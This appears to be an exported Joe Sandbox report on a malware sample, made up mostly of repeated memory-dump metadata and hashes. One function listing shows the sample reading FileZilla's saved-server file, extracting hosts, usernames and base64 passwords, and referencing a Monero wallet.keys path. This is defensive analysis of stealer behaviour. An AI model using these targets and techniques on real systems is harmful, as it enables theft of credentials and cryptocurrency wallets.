Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ZF~
API String ID: 0-4056117244
Opcode ID: f6f861f8542f1152bb97c9edebf50c273f8678cd845a431479f81cf65e330c81
Instruction ID: 3e93c7f15a3e95973bbaaf4ce5f7f72eaab7775605fbac30a986ca02b54c9504
Opcode Fuzzy Hash: f6f861f8542f1152bb97c9edebf50c273f8678cd845a431479f81cf65e330c81
Instruction Fuzzy Hash: 024156F3E583044BE3046E78ECC47AAB7D9EB98320F2A463DDBD483780F57959004296

Function 00C1270D Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

;}~, xrefs: 00C1274A

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;}~
API String ID: 0-2029327934
Opcode ID: fe2847a27ddfd7f3c6a0db07a8fc0eda97ed6cc586afdce84b395b730e00a379
Instruction ID: 8a8b265a97665167dfa0b7f0cab8552202c5329dc158a184b79ba76e25fee0c3
Opcode Fuzzy Hash: fe2847a27ddfd7f3c6a0db07a8fc0eda97ed6cc586afdce84b395b730e00a379
Instruction Fuzzy Hash: 8841F4F3B192045BF3585E29EC817A6B7DAE794320F1B063DEA98C33C0ED799C054695

Function 00BC77A9 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153366ee114a8fd93d4bd22578e6fdc95b56d5ea6baec351a6b55561b12230a7
Instruction ID: 485a53d209a9f614713fc5a250acf0634bb164aad832e749627c76a8249d2592
Opcode Fuzzy Hash: 153366ee114a8fd93d4bd22578e6fdc95b56d5ea6baec351a6b55561b12230a7
Instruction Fuzzy Hash: AB7119F3A086145FE3106E2EDC4876ABBD6DBD4320F17463DDBD8D3784EA3598028686

Function 00CD2642 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cee8aff3ba7746c14c8dfd7defafaa4ebaeba97d6461f2db1a5d284e7368c4a
Instruction ID: bf22d107ed38ec115cb3a215406392fe323a6aa13dba36a40ce6090c61332c8c
Opcode Fuzzy Hash: 1cee8aff3ba7746c14c8dfd7defafaa4ebaeba97d6461f2db1a5d284e7368c4a
Instruction Fuzzy Hash: E25123B3A087049FE3046E28DC8627AF7E9EF90320F1B493DD6C4C3740E97598448682

Function 00BFB5DF Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3169f6aff43da90403c280d5849e732f79bac7772d7662618f5e89012854c937
Instruction ID: 1a71afd83234aa2beadc29286865b0905d38c1cdffbeb651ea1d1f092513162f
Opcode Fuzzy Hash: 3169f6aff43da90403c280d5849e732f79bac7772d7662618f5e89012854c937
Instruction Fuzzy Hash: FD4155B2A1C3049BD3587F28EC9567AFBE5EF94710F17082DE6C587680EA3555808B8B

Function 00C5141F Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e6e7a1f5d0961037e53ac3c4ba285bf903558a05a118aa4be9649cfc65ec22e
Instruction ID: a615cb5c943845ab5b50a3149e6469dcd6b79a79b8be40e467e7f4c36f0624c9
Opcode Fuzzy Hash: 0e6e7a1f5d0961037e53ac3c4ba285bf903558a05a118aa4be9649cfc65ec22e
Instruction Fuzzy Hash: 433115F3B086008FF754EE2DDC8576AB6D2EBC4310F1A893DD689D3B84E93958058696

Function 00BF3E99 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 700c0f88ba818fecbca96f4398f64b6b845ee3fc5dda25a213d2e3fb5bfc3082
Instruction ID: 11fbc3b5fd542bf4cb4b25ab1f01a1c40b108cf5ca526fe134af6cb3e9ea8cdb
Opcode Fuzzy Hash: 700c0f88ba818fecbca96f4398f64b6b845ee3fc5dda25a213d2e3fb5bfc3082
Instruction Fuzzy Hash: 493129F3E043215BE3149979ED5477BB2D9DB90320F2B463DDA84A7384E97D4D0182C6

Function 00CE2980 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1e01cccabf90ff75de48ae5453fdd8bf32f0be7626261f6cabdef9b5d064a25
Instruction ID: 401455bdf5e2351a294c19c349c5ab20243b3b163846df79d1c313c8656d0139
Opcode Fuzzy Hash: b1e01cccabf90ff75de48ae5453fdd8bf32f0be7626261f6cabdef9b5d064a25
Instruction Fuzzy Hash: FC315CB3B093041BE314592FEC4572BB39ADBD0734F1BC63EDA4587785ED79680A4291

Function 00CBCD12 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ff6479d516b0f3b56fc0cff9f0a20725039ceb522d483d64d030d9893ff3476
Instruction ID: 7e8e220e287d1e21ed41df89134f67031e2100a51e739d28884a2907d43619d4
Opcode Fuzzy Hash: 7ff6479d516b0f3b56fc0cff9f0a20725039ceb522d483d64d030d9893ff3476
Instruction Fuzzy Hash: F33127B39082145BE3542979ED497BBBB98EB84330F2B063DEAC893B41E97949058191

Function 00D15B68 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e737847b7f8ee824912c3a9ed28930902efbb79eea0cf125100e6f8b1aa29d5
Instruction ID: ce92c48bca7e89c090d63c86e2c4e9ca7aa1d72c963a9d44dcb5dc922e5c7604
Opcode Fuzzy Hash: 9e737847b7f8ee824912c3a9ed28930902efbb79eea0cf125100e6f8b1aa29d5
Instruction Fuzzy Hash: 3E312DF290C214AFE705BF29DC426AAFBE5EF68310F06492DE6D583250E73198508B87

Function 00959750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00950250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 00958DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00958E0B

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 009499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009499EC
Part of subcall function 009499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00949A11
Part of subcall function 009499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00949A31
Part of subcall function 009499C0: ReadFile.KERNEL32(000000FF,?,00000000,0094148F,00000000), ref: 00949A5A
Part of subcall function 009499C0: LocalFree.KERNEL32(0094148F), ref: 00949A90
Part of subcall function 009499C0: CloseHandle.KERNEL32(000000FF), ref: 00949A9A

Part of subcall function 00958E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00958E52

GetProcessHeap.KERNEL32(00000000,000F423F,00960DBA,00960DB7,00960DB6,00960DB3), ref: 00950362
RtlAllocateHeap.NTDLL(00000000), ref: 00950369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00950385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 00950393
StrStrA.SHLWAPI(00000000,<Port>), ref: 009503CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 009503DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00950419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 00950427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00950463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 00950475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 00950502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 0095051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 00950532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 0095054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00950562
lstrcat.KERNEL32(?,profile: null), ref: 00950571
lstrcat.KERNEL32(?,url: ), ref: 00950580
lstrcat.KERNEL32(?,00000000), ref: 00950593
lstrcat.KERNEL32(?,00961678), ref: 009505A2
lstrcat.KERNEL32(?,00000000), ref: 009505B5
lstrcat.KERNEL32(?,0096167C), ref: 009505C4
lstrcat.KERNEL32(?,login: ), ref: 009505D3
lstrcat.KERNEL32(?,00000000), ref: 009505E6
lstrcat.KERNEL32(?,00961688), ref: 009505F5
lstrcat.KERNEL32(?,password: ), ref: 00950604
lstrcat.KERNEL32(?,00000000), ref: 00950617
lstrcat.KERNEL32(?,00961698), ref: 00950626
lstrcat.KERNEL32(?,0096169C), ref: 00950635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00960DB2), ref: 0095068E

Strings

browser: FileZilla, xrefs: 00950559
password: , xrefs: 009505FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 009502A4
<Pass encoding="base64">, xrefs: 0095045A
<Port>, xrefs: 009503C6
<User>, xrefs: 00950410
login: , xrefs: 009505CA
profile: null, xrefs: 00950568
url: , xrefs: 00950577
<Host>, xrefs: 0095037C

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
